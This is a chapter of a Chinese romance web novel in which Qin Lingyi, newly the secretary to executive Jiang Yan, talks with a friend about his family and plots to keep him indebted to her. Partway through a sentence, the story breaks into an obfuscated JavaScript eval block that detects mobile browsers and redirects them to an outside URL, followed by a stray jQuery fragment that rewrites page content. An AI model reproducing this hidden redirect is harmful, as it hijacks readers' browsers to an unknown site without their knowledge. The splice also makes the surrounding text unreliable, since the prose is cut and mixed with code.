“宝，你真成蒋哥的秘书了啊？”
夜晚，海风萧萧，季真安按住乱跑的头发，震惊开口。
秦令仪拿出皮筋递了过去，弯眸，“是啊，大家不都说，近水楼台先得月？”
季真安咽口水，转头盯住海面，片刻后莫名叹了口气，“令仪，虽然我以前总说支持你，但是真到了这时候，我又想劝你了。”
“你劝吧。”
“啊？”
季真安不解地回头，看向此刻面色认真的女人。
秦令仪垂眸对上她的视线，再次重复，“你劝吧，看看能不能真的劝住我。”
闻言，季真安精神了不少，她坐直身体从一旁拿起木棍，开始边说边画。
“蒋砚，16岁出国，27岁回国接手公司，据我所了解的他，冷淡不近人情，张口闭口都是集团和工作，令仪，和这种人谈恋爱很累的。”
秦令仪点点头，从一开始她就知道，蒋砚的世界被蒋氏占掉了一大半，他是一个绝对合格的继承人和商人。
但是，那又怎样？
她拿起另一根木棍把沙子推平，“这些我都不在乎。”
因为她根本就不爱蒋砚，另一半的工作大于生活对她来说是一种优点。
季真安咬牙，恨铁不成钢，“行，你现在有点恋爱脑，我不跟你说这个。”
“蒋家知道吧，蒋董事长知道吧？那可不是一个省油的灯！”
“你知道蒋家的大少爷不，蒋砚他哥？”
秦令仪颔首。
圈子里谁不知道这位突然叛逆的大少爷蒋翼的传说，在蒋砚回国之前蒋氏集团的总裁是蒋翼，两年前，蒋翼不知道突然发什么疯跟蒋老夫人辞了职，而后更是直接只身一人离开了京川，到现在，没人知道他到底在哪儿。
季真安说到他，左右看看还压低了音量，“我听说蒋翼当年的女朋友是个普通人家的女儿，蒋董事长不同意，强制把他们给分开了，据说后来没人再见过那女孩儿。”
“你想想啊，如果只是简单地分开，蒋翼至于离家出走，这几年还和京川所有人都断了联系吗？”
“我推测，蒋董事长肯定是把人给弄到某个国家了！”
季真安气愤的声音在耳旁响着，秦令仪的眼睛看向深蓝的海面，逐渐变得空洞。
她当然相信季真安的推测，毕竟在梦里她也是被强制送出国的那个人。
秦令仪不知道自己到荷兰以后的生活是怎么样的，但既没有钱，又语言不通的日子，怎么想都不会太好过。
蒋知燕是个绝对果断又心狠的女人，她活了八十多年，经历了那么多事情，秦令仪没自负到觉得自己能斗过她。
可是，是人就会有缺点。
从选中蒋砚的那一刻起她就一直在通过各种渠道去了解他身边的所有人。
荆迟、蒋知燕、蒋翼、叶南。
她远比他们想象的要了解他们。
而蒋知燕最大的弱点就是极其自大，她一生都高高在上，即使是丧夫丧子的打击使得她现在变得低调，但她的内里依旧是几十年前那个如日中天的蒋大小姐，没人能忤逆她。
秦令仪今天就是钻了这个空子。
蒋知燕越看不起她，她就越处于高位。
“令仪，令仪？”
季真安担忧地握住好友的手，“我是不是吓到你了？”
“我没事”，秦令仪回神，朝她露出一抹笑，“只是很可惜季小姐，你并没能劝退我。”
反而让她生出了一种前所未有的挑战欲。
“我说你……”季真安无奈，“算了，去试试吧，如果真被赶出国了，记得向我求救啊。”
海风轻拂面庞，远处群星闪烁。
秦令仪回握季真安的手，弯眸浅笑。
傻瓜。
-
次日一早，秦令仪穿着一身白色西在电梯里碰到了周宁。
她的心情看起来很不错，双眼亮晶晶的，“令仪姐！”
“嗯”，秦令仪应着，不动声色打量她，“小宁是入职了吗？”
周宁开心地点头，“我太幸运了！”
明明已经抢走了她救人的机会，却还是被蒋氏录用了吗？
秦令仪嘴上说着恭喜，心底却越来越冷。
还真是好运到让人嫉妒。
“令仪，蒋总叫你。”
唐晓薇侧头指了指总裁办。
秦令仪点头，放下包，转身走去。
“扣扣—”
“进。”
推开门，一个穿着深褐色西装的男人映入眼帘。
蒋砚今天戴了眼镜，他蹙眉看着电脑屏幕，指尖在键盘上快速跳动，看起来是在处理突发的事情。
秦令仪自觉地坐到桌前没有发声，蒋砚也没出声。
正巧季真安发来消息，她点开。
【季真安：高中的同学聚会你去吗？】
她挑眉，退出去往下翻，看到了名为“高三一班”的群在昨晚盖了99+的楼。
点进去迅速浏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15862078|176082||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
览，秦令仪获得几个信息：
1.各位小姐少爷们闲的要聚会。
2.时间是周五。
3.谁不来谁就是混得不好。
她嘴角一翘，回复季真安。
【我不去了。】
这群人，这么多年了还是这么天真又可爱。
秦令仪收起手机又静静地等了十分钟蒋砚才停下手摘掉了眼镜。
她轻声开口，“你找我吗？”
过于亲密，又超越上下属之间关系的语气。
蒋砚却没在意，他此刻的目光中带着些许的好奇，“那块表，你拿回来的？”
“嗯，董事长让我拿回来的。”
蒋砚了然，“你答应她什么了？”
秦令仪笑，“这你都知道。”
“我了解她。”
“董事长让我把你的日程表发给她。”
蒋砚一顿，“你发了？”
她无奈，“蒋总，我权限不够。”
男人微微颔首，“那从下周起我的日程由你来安排。”
秦令仪看着他淡然的神色，一时有些不明白他要干什么。
蒋砚却不再多说，他开启另外一个话题，“想要什么奖励？”
似曾相识的画面，秦令仪弯眸，“先欠着。”
蒋砚望进她狡黠的眸子里，指尖微蜷，“你可以出去了。”
秦令仪颔首，“那我先出去了，蒋砚。”
“嗯。”
蒋砚垂眸看着文件，淡淡应声。
如果说蒋知燕的弱点是自大。
那蒋砚的弱点，就是太注重利益的置换。
他不喜欢欠别人，秦令仪从刚认识他那会儿就知道了。
所以从觉醒的那一刻起她所有的举动都是为了让蒋砚欠她，不断地欠下去，直到有一天他们之间的交织已经不是他一个人就可以说断就断的时候，她就成功了。
KTV那次，蒋砚以为自己挡完酒就算两不相欠了，可秦令仪了解他，不对等的付出与回报注定会让他对她宽容很多。
所以那天秦令仪提了要来面试的事情。
她知道，自己一定会被录用。
秦令仪从来不需要蒋砚为她打破什么原则，他是一个说一不二的人，所以秦令仪只需要他为她维持原有的规则就算赢了。
昨天听了叶南的描述，她知道自己赌对了。
冒险拿手表也是值得的，至少今天，他没反驳她在公司叫他蒋砚。
这就够了。